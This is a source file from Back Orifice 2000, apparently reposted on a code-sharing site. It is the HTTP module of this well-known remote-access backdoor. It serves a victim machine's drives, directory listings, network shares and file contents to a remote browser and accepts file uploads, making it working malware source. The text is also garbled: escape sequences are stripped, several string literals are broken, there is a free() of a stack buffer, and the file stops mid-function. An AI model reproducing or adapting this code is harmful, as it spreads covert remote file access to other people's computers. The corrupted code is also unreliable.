cmd_tcpip_http.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:26k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<osversion.h>
  18. #include<iohandler.h>
  19. #include<functions.h>
  20. #include<cmdcmd_tcpip.h>
  21. #include<pviewer.h>
  22. #include<strhandle.h>
  23. //typedef struct __port_child_param {
  24. // SOCKET s;
  25. // SOCKADDR_IN saddr;
  26. // BOOL *pbDone;
  27. // int nArg1;
  28. // char *svArg2;
  29. // char *svArg3;
  30. //} PORT_CHILD_PARAM;
  31. #pragma pack(push,1)
  32. typedef struct {
  33. DWORD LowPart;
  34. DWORD HighPart;
  35. } ULARGE_INT;
  36. #pragma pack(pop)
  37. static char *typehtml = "text/html";
  38. static char *typetext =  "text/plain";
  39. static char *typebinary = "application/octet-stream";
  40. static char *typejpeg = "image/jpeg";
  41. static char *typegif = "image/gif";
  42. static char *dataerror = "Missing data";
  43. typedef enum {
  44. FOLDER,
  45. FILE,
  46. EXE,
  47. IMAGE,
  48. HTML,
  49. TEXT,
  50. COMPUTER,
  51. DRIVE,
  52. CDROM,
  53. REMOTE,
  54. ENTIRENETWORK,
  55. NETWORK,
  56. DOMAIN,
  57. SERVER,
  58. PRINTER
  59. } GIFICON;
  60. char *GetMimeType(char *filename)
  61. {
  62. char *ptr;
  63. ptr=strrchr(filename, '.');
  64. if(ptr==NULL) return typebinary;
  65. ptr++;
  66. if(lstrcmpi(ptr,"gif")==0) return typegif;
  67. if(lstrcmpi(ptr,"jpg")==0 || lstrcmpi(ptr,"jpeg")==0) return typejpeg;
  68. if(lstrcmpi(ptr,"htm")==0 || lstrcmpi(ptr,"html")==0) return typehtml;
  69. if(lstrcmpi(ptr,"c")==0 || lstrcmpi(ptr,"cpp")==0 || lstrcmpi(ptr,"txt")==0 || 
  70.    lstrcmpi(ptr,"diz")==0 || lstrcmpi(ptr,"h")==0 || lstrcmpi(ptr,"bat")==0
  71.    || lstrcmpi(ptr,"ini")==0 || lstrcmpi(ptr,"reg")==0) return typetext;
  72. return typebinary;
  73. }
  74. GIFICON GetFileIcon(char *filename)
  75. {
  76. char *ptr;
  77. ptr=strrchr(filename, '.');
  78. if(ptr==NULL) return FILE;
  79. ptr++;
  80. if(lstrcmpi(ptr,"gif")==0 ||
  81.    lstrcmpi(ptr,"jpg")==0 || lstrcmpi(ptr,"jpeg")==0 ||
  82.    lstrcmpi(ptr,"bmp")==0) return IMAGE;
  83. if(lstrcmpi(ptr,"exe")==0 || lstrcmpi(ptr,"com")==0 || 
  84.    lstrcmpi(ptr,"sys")==0 || lstrcmpi(ptr,"vxd")==0 ||
  85.    lstrcmpi(ptr,"dll")==0 || lstrcmpi(ptr,"cpl")==0) return EXE;
  86. if(lstrcmpi(ptr,"htm")==0 || lstrcmpi(ptr,"html")==0) return HTML;
  87. if(lstrcmpi(ptr,"c")==0 || lstrcmpi(ptr,"cpp")==0 || lstrcmpi(ptr,"txt")==0 || 
  88.    lstrcmpi(ptr,"diz")==0 || lstrcmpi(ptr,"h")==0 || lstrcmpi(ptr,"bat")==0
  89.    || lstrcmpi(ptr,"ini")==0 || lstrcmpi(ptr,"reg")==0) return TEXT;
  90. return FILE;
  91. }
  92. void FormatTime(char *buff, SYSTEMTIME thetime)
  93. {
  94. char *weekday, *month;
  95. switch (thetime.wDayOfWeek) {
  96. case 0: weekday = "Sun"; break;
  97. case 1: weekday = "Mon"; break;
  98. case 2: weekday = "Tue"; break;
  99. case 3: weekday = "Wed"; break;
  100. case 4: weekday = "Thu"; break;
  101. case 5: weekday = "Fri"; break;
  102. case 6: weekday = "Sat"; break;
  103. default: weekday = "???"; break;
  104. }
  105. switch (thetime.wMonth)
  106. {
  107. case 1: month = "Jan"; break;
  108. case 2: month = "Feb"; break;
  109. case 3: month = "Mar"; break;
  110. case 4: month = "Apr"; break;
  111. case 5: month = "May"; break;
  112. case 6: month = "Jun"; break;
  113. case 7: month = "Jul"; break;
  114. case 8: month = "Aug"; break;
  115. case 9: month = "Sep"; break;
  116. case 10: month = "Oct"; break;
  117. case 11: month = "Nov"; break;
  118. case 12: month = "Dec"; break;
  119. default: month = "???"; break;
  120. }
  121. wsprintf(buff, "%s, %02d %s %d %02d:%02d:%02d GMT", weekday, thetime.wDay, month, thetime.wYear, thetime.wHour, thetime.wMinute, thetime.wSecond);
  122. }
  123. void FormatHttpHeader(char *buff, int val, char *contenttype, char *svOther)
  124. {
  125. char date[256];
  126. char *errtxt;
  127. SYSTEMTIME curtime;
  128. switch (val) {
  129. case 200: errtxt = "OK"; break;
  130. case 201: errtxt = "Created"; break;
  131. case 202: errtxt = "Accepted"; break;
  132. case 204: errtxt = "No Content"; break;
  133. case 300: errtxt = "Multiple Choices"; break;
  134. case 301: errtxt = "Moved Permanently"; break;
  135. case 302: errtxt = "Moved Temporarily"; break;
  136. case 304: errtxt = "Not modified"; break;
  137. case 400: errtxt = "Bad Request"; break;
  138. case 401: errtxt = "Unauthorized"; break;
  139. case 403: errtxt = "Forbidden"; break;
  140. case 404: errtxt = "Not Found"; break;
  141. case 500: errtxt = "Internal Server Error"; break;
  142. case 501: errtxt = "Not Implemented"; break;
  143. case 502: errtxt = "Bad Gateway"; break;
  144. case 503: errtxt = "Service Unavailable"; break;
  145. default: errtxt = ""; break;
  146. }
  147. GetSystemTime(&curtime);
  148. FormatTime(date, curtime);
  149. wsprintf(buff, "HTTP/1.1 %d %srnServer: BO2K/0.9rnDate: %srnContent-type: %srnPublic: GET, POSTrn%srn", val, errtxt, date, contenttype,svOther);
  150. }
  151. void HTTPEnumRes(SOCKET s, NETRESOURCE *pNetContainer, DWORD dwScope)
  152. {
  153. char svBuffer[2048];
  154. int i;
  155. // Open network resource list
  156. HANDLE hNet;
  157. if (pWNetOpenEnum(dwScope,RESOURCETYPE_ANY,0,pNetContainer,&hNet)!=NO_ERROR) return;
  158. // Enumerate resources
  159. int ret;
  160. DWORD dwCount,dwBufSize;
  161. NETRESOURCE *pNetRes;
  162. pNetRes=(NETRESOURCE *)malloc(16384);
  163. if(pNetRes==NULL) {
  164. pWNetCloseEnum(hNet);
  165. return;
  166. }
  167. dwCount=1;
  168. dwBufSize=16384;
  169. ret=pWNetEnumResource(hNet,&dwCount,pNetRes,&dwBufSize);
  170. while(ret!=ERROR_NO_MORE_ITEMS) {
  171. // Give up time
  172. Sleep(20);
  173. char *svType,*svLocalName,*svRemoteName,*svComment;
  174. GIFICON icon;
  175. char svURLHead[MAX_PATH+1];
  176. char svURLFoot[MAX_PATH+1];
  177. svURLHead[0]='';
  178. svURLFoot[0]='';
  179. switch(pNetRes->dwDisplayType) {
  180. case RESOURCEDISPLAYTYPE_DOMAIN:
  181. icon=DOMAIN;
  182. break;
  183. case RESOURCEDISPLAYTYPE_GENERIC:
  184. icon=SERVER;
  185. break;
  186. case RESOURCEDISPLAYTYPE_SERVER:
  187. icon=SERVER;
  188. break;
  189. case RESOURCEDISPLAYTYPE_SHARE:
  190. switch(pNetRes->dwType) {
  191. case RESOURCETYPE_DISK:
  192. wsprintf(svURLHead,"<a href="%s/">",pNetRes->lpRemoteName+2);
  193. for(i=lstrlen(svURLHead)-1;i>=0;i--) 
  194. if(svURLHead[i]=='\') svURLHead[i]='/';
  195. wsprintf(svURLFoot,"</a>");
  196. icon=FOLDER;
  197. break;
  198. case RESOURCETYPE_PRINT:
  199. icon=PRINTER;
  200. break;
  201. default:
  202. svType="";
  203. break;
  204. }
  205. break;
  206. default:
  207. icon=NETWORK;
  208. break;
  209. }
  210. if(pNetRes->lpLocalName==NULL) svLocalName="";
  211. else svLocalName=pNetRes->lpLocalName;
  212. if(pNetRes->lpRemoteName==NULL) svRemoteName="";
  213. else svRemoteName=pNetRes->lpRemoteName;
  214. if(pNetRes->lpComment==NULL) svComment="";
  215. else svComment=pNetRes->lpComment;
  216. if(!pNetRes->lpLocalName && !pNetRes->lpRemoteName) {
  217. wsprintf(svBuffer,"<img src="/?image=%u">&nbsp;%s<br>rn", icon, svComment);
  218. } else {
  219. wsprintf(svBuffer,"<img src="/?image=%u">&nbsp;%s%s%s <b>%s</b> <i>%s</i><br>rn", icon, svURLHead,svRemoteName, svURLFoot, svLocalName, svComment);
  220. }
  221. send(s,svBuffer,lstrlen(svBuffer),0);
  222. // Recurse if necessary
  223. if (pNetRes->dwUsage & RESOURCEUSAGE_CONTAINER && dwScope == RESOURCE_GLOBALNET) {
  224. wsprintf(svBuffer,"<ul>");
  225. send(s,svBuffer,lstrlen(svBuffer),0);
  226. HTTPEnumRes(s,pNetRes,dwScope);
  227. wsprintf(svBuffer,"</ul>");
  228. send(s,svBuffer,lstrlen(svBuffer),0);
  229. }
  230. dwCount=1;
  231. dwBufSize=16384;
  232. ret=pWNetEnumResource(hNet,&dwCount,pNetRes,&dwBufSize);
  233. }
  234. free(pNetRes);
  235. pWNetCloseEnum(hNet);
  236. }
  237. void HTTPHandleFile(SOCKET s, char *svReqType, char *svFullPath, char *svKnownPath, int nHTTPVersion)
  238. {
  239. char svBuffer[1024];
  240. int i,j;
  241. if(lstrcmp(svFullPath,"\")==0) {
  242. // Display computer name
  243. DWORD dwBufSize = MAX_COMPUTERNAME_LENGTH+1;
  244. char svComputerName[MAX_COMPUTERNAME_LENGTH+1];
  245. if(GetComputerName(svComputerName, &dwBufSize)==FALSE) {
  246. return;
  247. }
  248. // Issue headers and start of html
  249. FormatHttpHeader(svBuffer,200,typehtml,"");
  250. send(s,svBuffer,lstrlen(svBuffer),0);
  251. // Put computer name header
  252. GIFICON icon;
  253. icon=COMPUTER;
  254. wsprintf(svBuffer,"<html>rn<head><title>%s</title></head>rn<body bgcolor=#FFFFFF text=#000000>rn"
  255.               "<h1><img align=absbottom src=/?image=%u>&nbsp;%s</h1>rn<ul><pre>rn",
  256.   svComputerName, icon, svComputerName);
  257. send(s,svBuffer,lstrlen(svBuffer),0);
  258. // List all drives
  259. char c;
  260. int x;
  261. for (c = 'C'; c <= 'Z'; c++) {
  262. char *svDesc;
  263. char svDesc2[512];
  264. wsprintf(svBuffer,"%c:\",c);
  265. x = GetDriveType(svBuffer);
  266. switch (x) {
  267. case 0:
  268. icon=DRIVE;
  269. svDesc="Unable to determine";
  270. break;
  271. case 1:
  272. break;
  273. case DRIVE_REMOVABLE:
  274. icon=DRIVE;
  275. svDesc="Removable";
  276. break;
  277. case DRIVE_FIXED:
  278. icon=DRIVE;
  279. DWORD spc,bps,nfc,tnc,dwFree,dwTotal;
  280. if (GetDiskFreeSpace(svBuffer,&spc,&bps,&nfc,&tnc)) {
  281. dwFree=(nfc*((bps*spc)/1024));
  282. dwTotal=(tnc*((bps*spc)/1024));
  283. char fc,tc;
  284. tc='K';
  285. if(dwTotal>1024) {
  286. dwTotal>>=10;
  287. tc='M';
  288. }
  289. fc='K';
  290. if(dwFree>1024) {
  291. dwFree>>=10;
  292. fc='M';
  293. }
  294. wsprintf(svDesc2, "Fixed    Bytes free: %u%c/%u%c", dwFree, fc, dwTotal, tc);
  295. svDesc=svDesc2;
  296. } else svDesc="Fixed";
  297. break;
  298. case DRIVE_REMOTE:
  299. icon=REMOTE;
  300. svDesc="Remote";
  301. break;
  302. case DRIVE_CDROM:
  303. icon=CDROM;
  304. svDesc="CDROM";
  305. break;
  306. case DRIVE_RAMDISK:
  307. icon=DRIVE;
  308. svDesc="Ramdisk";
  309. break;
  310. default:
  311. icon=DRIVE;
  312. svDesc="Unknown";
  313. break;
  314. }
  315. if(x!=1) {
  316. wsprintf(svBuffer,"<img align=absbottom src=/?image=%u><a href=/%%DRIVE%%%c:/>%c:\</a>   %srn",
  317. icon,c,c,svDesc);
  318. send(s,svBuffer,lstrlen(svBuffer),0);
  319. }
  320. }
  321. // Issue Link to Network Neighborhood
  322. wsprintf(svBuffer,"rn<h2><a href="/%%NETHOOD%%/">Network Neighborhood</a></h2>rn");
  323. send(s,svBuffer,lstrlen(svBuffer),0);
  324. // Issue HTML footers
  325. wsprintf(svBuffer,"</pre></ul>rn</body>rn</html>rn");
  326. send(s,svBuffer,lstrlen(svBuffer),0);
  327. }
  328. else if(lstrcmp(svFullPath,"\\")==0) {
  329. // Issue headers and start of html
  330. FormatHttpHeader(svBuffer,200,typehtml,"");
  331. send(s,svBuffer,lstrlen(svBuffer),0);
  332. // Put title
  333. wsprintf(svBuffer,"<html>rn<head><title>Network Neighborhood</title></head>rn<body bgcolor=#FFFFFF text=#000000>rn"
  334.               "<h1><img src="/?image=%u">&nbsp;Entire Network</h1>rn<ul>rn",(GIFICON)ENTIRENETWORK);
  335. send(s,svBuffer,lstrlen(svBuffer),0);
  336. HTTPEnumRes(s,NULL,RESOURCE_GLOBALNET);
  337. // Issue HTML footers
  338. wsprintf(svBuffer,"</ul>rn</body>rn</html>rn");
  339. send(s,svBuffer,lstrlen(svBuffer),0);
  340. } else {
  341. DWORD dwFileAttr;
  342. dwFileAttr=GetFileAttributes(svFullPath);
  343. if(dwFileAttr==-1) dwFileAttr=FILE_ATTRIBUTE_DIRECTORY;
  344. if(dwFileAttr & FILE_ATTRIBUTE_DIRECTORY) {
  345. // Handle directory listing
  346. WIN32_FIND_DATA w32fd;
  347. char svWildCard[MAX_PATH+2];
  348. lstrcpyn(svWildCard,svFullPath,MAX_PATH);
  349. lstrcat(svWildCard,"*");
  350. // Get file listing
  351. HANDLE fh;
  352. int nFileCount=0;
  353. fh=FindFirstFile(svWildCard,&w32fd);
  354. if(fh==INVALID_HANDLE_VALUE) return;
  355. do {
  356. nFileCount++;
  357. } while(FindNextFile(fh,&w32fd));
  358. FindClose(fh);
  359. WIN32_FIND_DATA *pFileArray=(WIN32_FIND_DATA *)malloc(sizeof(WIN32_FIND_DATA)*nFileCount);
  360. if(pFileArray==NULL) return;
  361. fh=FindFirstFile(svWildCard,pFileArray);
  362. if(fh==INVALID_HANDLE_VALUE) return;
  363. for(i=1;i<nFileCount;i++) {
  364. FindNextFile(fh,pFileArray+i);
  365. }
  366. FindClose(fh);
  367. // Sort file listing
  368. WIN32_FIND_DATA tmp;
  369. for(i=0;i<nFileCount;i++) {
  370. for(j=i+1;j<nFileCount;j++) {
  371. if(pFileArray[i].dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  372. if(pFileArray[j].dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  373. if(lstrcmpi(pFileArray[i].cFileName,pFileArray[j].cFileName)>0) {
  374. tmp=pFileArray[i]; pFileArray[i]=pFileArray[j]; pFileArray[j]=tmp;
  375. }
  376. }
  377. } else {
  378. if(pFileArray[j].dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  379. tmp=pFileArray[i]; pFileArray[i]=pFileArray[j]; pFileArray[j]=tmp;
  380. } else {
  381. if(lstrcmpi(pFileArray[i].cFileName,pFileArray[j].cFileName)>0) {
  382. tmp=pFileArray[i]; pFileArray[i]=pFileArray[j]; pFileArray[j]=tmp;
  383. }
  384. }
  385. }
  386. }
  387. }
  388. // Issue headers and start of html
  389. FormatHttpHeader(svBuffer,200,typehtml,"");
  390. send(s,svBuffer,lstrlen(svBuffer),0);
  391. wsprintf(svBuffer,"<html>rn<head><title>%s</title></head>rn<body bgcolor=#FFFFFF text=#000000>rn"
  392.               "<h1>Directory: %s</h1>rn<ul><pre>rn",svKnownPath,svKnownPath);
  393. send(s,svBuffer,lstrlen(svBuffer),0);
  394. // Output table header
  395. wsprintf(svBuffer,"<b><u>   Date      Time         Size    Filename                                </u></b>rn");
  396. send(s,svBuffer,lstrlen(svBuffer),0);
  397. DWORD dwBytesTotal;
  398. DWORD dwDirCount;
  399. DWORD dwFileCount;
  400. dwFileCount=0;
  401. dwBytesTotal=0;
  402. dwDirCount=0;
  403. for(i=0;i<nFileCount;i++) {
  404. SYSTEMTIME sysTime;
  405. GIFICON icon;
  406. FileTimeToSystemTime(&(pFileArray[i].ftLastWriteTime),&sysTime);
  407. if(pFileArray[i].dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  408. icon=FOLDER;
  409. wsprintf(svBuffer,"%2.2u-%2.2u-%4.4u  %2.2u:%2.2u        &lt;DIR&gt;  <img src=/?image=%u align=absbottom border=0><a href="%s/">%-.64s\</a>rn",
  410. sysTime.wMonth,sysTime.wDay,sysTime.wYear,
  411. sysTime.wHour,sysTime.wMinute,
  412. icon,
  413. pFileArray[i].cFileName,
  414. pFileArray[i].cFileName);
  415. send(s,svBuffer,lstrlen(svBuffer),0);
  416. dwDirCount++;
  417. } else {
  418. icon=GetFileIcon(pFileArray[i].cFileName);
  419. wsprintf(svBuffer,"%2.2u-%2.2u-%4.4u  %2.2u:%2.2u  %11u  <img src=/?image=%u align=absbottom border=0><a href="%s">%-.64s</a>rn",
  420. sysTime.wMonth,sysTime.wDay,sysTime.wYear,
  421. sysTime.wHour,sysTime.wMinute,
  422. pFileArray[i].nFileSizeLow,
  423. icon,
  424. pFileArray[i].cFileName,
  425. pFileArray[i].cFileName);
  426. send(s,svBuffer,lstrlen(svBuffer),0);
  427. dwBytesTotal+=pFileArray[i].nFileSizeLow;
  428. dwFileCount++;
  429. }
  430. }
  431. free(pFileArray);
  432. // Report byte count
  433. wsprintf(svBuffer, "</pre><tt>%u Bytes, %u Files, %u Folders</tt><P>", dwBytesTotal,dwFileCount,dwDirCount);
  434. send(s, svBuffer, lstrlen(svBuffer), 0);
  435. // Issue HTTP Upload form
  436. wsprintf(svBuffer, "<FORM ENCTYPE="multipart/form-data" ACTION= "?upload" METHOD="POST"><P><INPUT TYPE="SUBMIT" VALUE="Upload File:"> <INPUT TYPE="file" NAME="filename"></FORM>");
  437. send(s, svBuffer, lstrlen(svBuffer), 0);
  438. // Issue HTML footers
  439. wsprintf(svBuffer,"</pre></ul>rn</body>rn</html>rn");
  440. send(s,svBuffer,lstrlen(svBuffer),0);
  441. } else {
  442. // ---- File ---- 
  443. // Get Mime Type
  444. char *svMime;
  445. svMime=GetMimeType(svFullPath);
  446. // Open File
  447. HANDLE hFile;
  448. hFile=CreateFile(svFullPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,NULL);
  449. if(hFile==INVALID_HANDLE_VALUE) {
  450. FormatHttpHeader(svBuffer,404,typehtml,"");
  451. send(s,svBuffer,lstrlen(svBuffer),0);
  452. return;
  453. }
  454. // Allocate copy buffer
  455. char *pBuffer;
  456. pBuffer=(char *)malloc(1024);
  457. if(pBuffer==NULL) {
  458. FormatHttpHeader(svBuffer,500,typehtml,"");
  459. send(s,svBuffer,lstrlen(svBuffer),0);
  460. return;
  461. }
  462. // Issue headers
  463. char svTimeBuf[256];
  464. char svHeadBuf[512];
  465. SYSTEMTIME sysTime;
  466. GetSystemTime(&sysTime);
  467. FormatTime(svTimeBuf, sysTime);
  468. int nLength;
  469. nLength=GetFileSize(hFile,NULL);
  470.             wsprintf(svHeadBuf, "Last-modified: %srnContent-length: %drnAccept-ranges: bytesrnConnection: keep-alivern", svTimeBuf, nLength);
  471.             FormatHttpHeader(svBuffer,200,svMime,svHeadBuf);
  472. send(s,svBuffer,lstrlen(svBuffer),0);
  473.                     
  474. // Send file
  475. DWORD dwBytes,dwCount;
  476. dwCount=0;
  477. do {
  478. if(ReadFile(hFile,pBuffer,1024,&dwBytes,NULL)) {
  479. if(dwBytes!=0) {
  480. send(s,pBuffer,dwBytes,0);
  481. dwCount+=dwBytes;
  482. }
  483. }
  484. else break;
  485. } while(dwBytes!=0);
  486. // Clean up
  487. free(pBuffer);
  488. CloseHandle(hFile);
  489. }
  490. }
  491. }
  492. extern unsigned int pGifFILE_LEN;
  493. extern unsigned char pGifFILE_DATA[];
  494. extern unsigned int pGifFOLDER_LEN;
  495. extern unsigned char pGifFOLDER_DATA[];
  496. extern unsigned int pGifEXE_LEN;
  497. extern unsigned char pGifEXE_DATA[];
  498. extern unsigned int pGifIMAGE_LEN;
  499. extern unsigned char pGifIMAGE_DATA[];
  500. extern unsigned int pGifHTML_LEN;
  501. extern unsigned char pGifHTML_DATA[];
  502. extern unsigned int pGifTEXT_LEN;
  503. extern unsigned char pGifTEXT_DATA[];
  504. extern unsigned int pGifDRIVE_LEN;
  505. extern unsigned char pGifDRIVE_DATA[];
  506. extern unsigned int pGifREMOTE_LEN;
  507. extern unsigned char pGifREMOTE_DATA[];
  508. extern unsigned int pGifCDROM_LEN;
  509. extern unsigned char pGifCDROM_DATA[];
  510. extern unsigned int pGifCOMPUTER_LEN;
  511. extern unsigned char pGifCOMPUTER_DATA[];
  512. extern unsigned int pGifENTIRENETWORK_LEN;
  513. extern unsigned char pGifENTIRENETWORK_DATA[];
  514. extern unsigned int pGifNETWORK_LEN;
  515. extern unsigned char pGifNETWORK_DATA[];
  516. extern unsigned int pGifDOMAIN_LEN;
  517. extern unsigned char pGifDOMAIN_DATA[];
  518. extern unsigned int pGifSERVER_LEN;
  519. extern unsigned char pGifSERVER_DATA[];
  520. extern unsigned int pGifPRINTER_LEN;
  521. extern unsigned char pGifPRINTER_DATA[];
  522. void HTTPHandleImage(SOCKET s, char *svReqType, GIFICON nImage, int nHTTPVersion)
  523. {
  524. char svBuffer[512];
  525. // Send a gif
  526. FormatHttpHeader(svBuffer,200,typegif,"");
  527. send(s,svBuffer,lstrlen(svBuffer),0);
  528. switch(nImage) {
  529. case FOLDER:
  530. send(s,(char *)pGifFOLDER_DATA,pGifFOLDER_LEN,0);
  531. break;
  532. case FILE:
  533. send(s,(char *)pGifFILE_DATA,pGifFILE_LEN,0);
  534. break;
  535. case EXE:
  536. send(s,(char *)pGifEXE_DATA,pGifEXE_LEN,0);
  537. break;
  538. case IMAGE:
  539. send(s,(char *)pGifIMAGE_DATA,pGifIMAGE_LEN,0);
  540. break;
  541. case HTML:
  542. send(s,(char *)pGifHTML_DATA,pGifHTML_LEN,0);
  543. break;
  544. case TEXT:
  545. send(s,(char *)pGifTEXT_DATA,pGifTEXT_LEN,0);
  546. break;
  547. case COMPUTER:
  548. send(s,(char *)pGifCOMPUTER_DATA,pGifCOMPUTER_LEN,0);
  549. break;
  550. case DRIVE:
  551. send(s,(char *)pGifDRIVE_DATA,pGifDRIVE_LEN,0);
  552. break;
  553. case CDROM:
  554. send(s,(char *)pGifCDROM_DATA,pGifCDROM_LEN,0);
  555. break;
  556. case REMOTE:
  557. send(s,(char *)pGifREMOTE_DATA,pGifREMOTE_LEN,0);
  558. break;
  559. case ENTIRENETWORK:
  560. send(s,(char *)pGifENTIRENETWORK_DATA,pGifENTIRENETWORK_LEN,0);
  561. break;
  562. case NETWORK:
  563. send(s,(char *)pGifNETWORK_DATA,pGifNETWORK_LEN,0);
  564. break;
  565. case DOMAIN:
  566. send(s,(char *)pGifDOMAIN_DATA,pGifDOMAIN_LEN,0);
  567. break;
  568. case SERVER:
  569. send(s,(char *)pGifSERVER_DATA,pGifSERVER_LEN,0);
  570. break;
  571. case PRINTER:
  572. send(s,(char *)pGifPRINTER_DATA,pGifPRINTER_LEN,0);
  573. break;
  574. default:
  575. return;
  576. }
  577. return;
  578. }
  579. DWORD WINAPI PortHTTPThread(LPVOID lpParameter)
  580. {
  581. PORT_CHILD_PARAM *ppcp=(PORT_CHILD_PARAM *) lpParameter;
  582. // Send Keep-Alives (browser usually wants them) and set blocking mode
  583. BOOL bKeepAlive=TRUE;
  584. setsockopt(ppcp->s,SOL_SOCKET,SO_KEEPALIVE,(char *)&bKeepAlive,sizeof(BOOL));
  585. DWORD dwNonBlock=FALSE;
  586. ioctlsocket(ppcp->s,FIONBIO,&dwNonBlock);
  587. // Read in the HTTP request
  588. DWORD dwLen;
  589. char *svBuffer;
  590. do {
  591. Sleep(20);
  592. ioctlsocket(ppcp->s,FIONREAD,&dwLen);
  593. } while(dwLen==0);
  594. svBuffer=(char *) malloc(dwLen+1);
  595. if(svBuffer==NULL) {
  596. closesocket(ppcp->s);
  597. free(ppcp);
  598. return 1;
  599. }
  600. if(recv(ppcp->s,svBuffer,dwLen,0) <= 0) return -1;
  601. svBuffer[dwLen]='';
  602. // Determine request type
  603. char *svNext,*svReqType;
  604. svReqType=svBuffer;
  605. svNext=BreakString(svReqType," ");
  606. if(svNext==NULL) {
  607. free(svBuffer);
  608. closesocket(ppcp->s);
  609. free(ppcp);
  610. return 1;
  611. }
  612. // Retrieve path
  613. char *svPath;
  614. svPath=svNext;
  615. svNext=BreakString(svPath,"rn");
  616. if(svNext==NULL) {
  617. free(svBuffer);
  618. closesocket(ppcp->s);
  619. free(ppcp);
  620. return 1;
  621. }
  622. // Strip off and retrieve HTTP type
  623. int len,i;
  624. int nHTTPVersion;
  625. len=lstrlen(svPath);
  626. for(i=len-1;i>=0;i--) {
  627. if(lstrcmp(svPath+i," HTTP/1.0")==0) { nHTTPVersion=10; break; }
  628. if(lstrcmp(svPath+i," HTTP/0.9")==0) { nHTTPVersion=9; break; }
  629. if(lstrcmp(svPath+i," HTTP/1.1")==0) { nHTTPVersion=11; break; }
  630. }
  631. if(i==0) {
  632. free(svBuffer);
  633. closesocket(ppcp->s);
  634. free(ppcp);
  635. return 1;
  636. }
  637. svPath[i]='';
  638. // Strip off file option string
  639. char *svOptions;
  640. svOptions=BreakString(svPath,"?");
  641. // Strip trailing [back]slash from root pathname
  642. char svDiskPath[MAX_PATH+1];
  643. int nDPLen;
  644. lstrcpyn(svDiskPath,ppcp->svArg2,MAX_PATH+1);
  645. nDPLen=lstrlen(svDiskPath);
  646. if(svDiskPath[nDPLen-1]=='/' || svDiskPath[nDPLen-1]=='\') {
  647. svDiskPath[nDPLen-1]='';
  648. nDPLen--;
  649. }
  650. // Get target disk path filename
  651. lstrcpyn(svDiskPath+nDPLen,svPath,(MAX_PATH+1)-nDPLen);
  652. nDPLen=lstrlen(svDiskPath);
  653. // Convert everything to backslashes
  654. for(i=0;i<nDPLen;i++) {
  655. if(svDiskPath[i]=='/') svDiskPath[i]='\';
  656. }
  657. // Convert "%" values
  658. for(i=0;i<(nDPLen-2);i++) {
  659. if(svDiskPath[i]=='%') {
  660. if(strncmp(svDiskPath+i,"%DRIVE%",7)==0) {
  661. lstrcpy(svDiskPath,svDiskPath+i+7);
  662. nDPLen-=(i+7);
  663. i=0;
  664. }
  665. else if(strncmp(svDiskPath+i,"%NETHOOD%",9)==0) {
  666. lstrcpy(svDiskPath+i,svDiskPath+i+9);
  667. nDPLen-=9;
  668. } else {
  669. char d,c;
  670. d=svDiskPath[i+1];
  671. if(d>='A' && d<='F') c=(d-'A')<<4;
  672. if(d>='a' && d<='f') c=(d-'a')<<4;
  673. if(d>='0' && d<='9') c=(d-'0')<<4;
  674. d=svDiskPath[i+2];
  675. if(d>='A' && d<='F') c|=d-'A';
  676. if(d>='a' && d<='f') c|=d-'a';
  677. if(d>='0' && d<='9') c|=d-'0';
  678. lstrcpy(svDiskPath+i+1,svDiskPath+i+3);
  679. svDiskPath[i]=c;
  680. nDPLen-=2;
  681. }
  682. }
  683. }
  684. // Get Full Path in proper format
  685. DWORD nFullPathLen;
  686. char svFullPath[MAX_PATH+1], *svFilePart,*svKnownPath;
  687. // Get rid of double slashes if we're not at the root
  688. if(ppcp->svArg2[0]!=0) {
  689. nFullPathLen=GetFullPathName(svDiskPath,MAX_PATH+1,svFullPath,&svFilePart);
  690. if(BreakString(svFullPath,"\\")!=NULL) {
  691. free(svFullPath);
  692. free(svBuffer);
  693. closesocket(ppcp->s);
  694. free(ppcp);
  695. return 1;
  696. }
  697. } else {
  698. lstrcpyn(svFullPath,svDiskPath,MAX_PATH+1);
  699. }
  700. // Verify root
  701. DWORD nRootPathLen;
  702. nRootPathLen=lstrlen(ppcp->svArg2);
  703. if(nRootPathLen>nFullPathLen) {
  704. free(svFullPath);
  705. free(svBuffer);
  706. closesocket(ppcp->s);
  707. free(ppcp);
  708. return 1;
  709. }
  710. if(CompareString(LOCALE_SYSTEM_DEFAULT,NORM_IGNORECASE,ppcp->svArg2,nRootPathLen,svFullPath,nRootPathLen)!=CSTR_EQUAL) {
  711. free(svFullPath);
  712. free(svBuffer);
  713. closesocket(ppcp->s);
  714. free(ppcp);
  715. return 1;
  716. }
  717. svKnownPath=svFullPath+nRootPathLen;
  718. if(lstrcmpi(svReqType,"GET")==0) {
  719. // GET request
  720. // Serve up appropriate file
  721. if(svOptions==NULL) {
  722. HTTPHandleFile(ppcp->s,svReqType,svFullPath,svKnownPath,nHTTPVersion);
  723. } else {
  724. char svImage[7];
  725. lstrcpyn(svImage,svOptions,7);
  726. if(lstrcmpi(svImage,"image=")==0) {
  727. HTTPHandleImage(ppcp->s,svReqType,(GIFICON)atoi(svOptions+6),nHTTPVersion);
  728. }
  729. }
  730. // Exit cleanly
  731. //if(svFullPath) free(svFullPath);
  732. }
  733. else if(lstrcmpi(svReqType,"POST")==0) {
  734. // POST request
  735. // Get boundary separator
  736. char *svBoundary;
  737. svBoundary=BreakString(svNext,"boundary=");
  738. svNext=BreakString(svBoundary,"rn");
  739. // Get content length
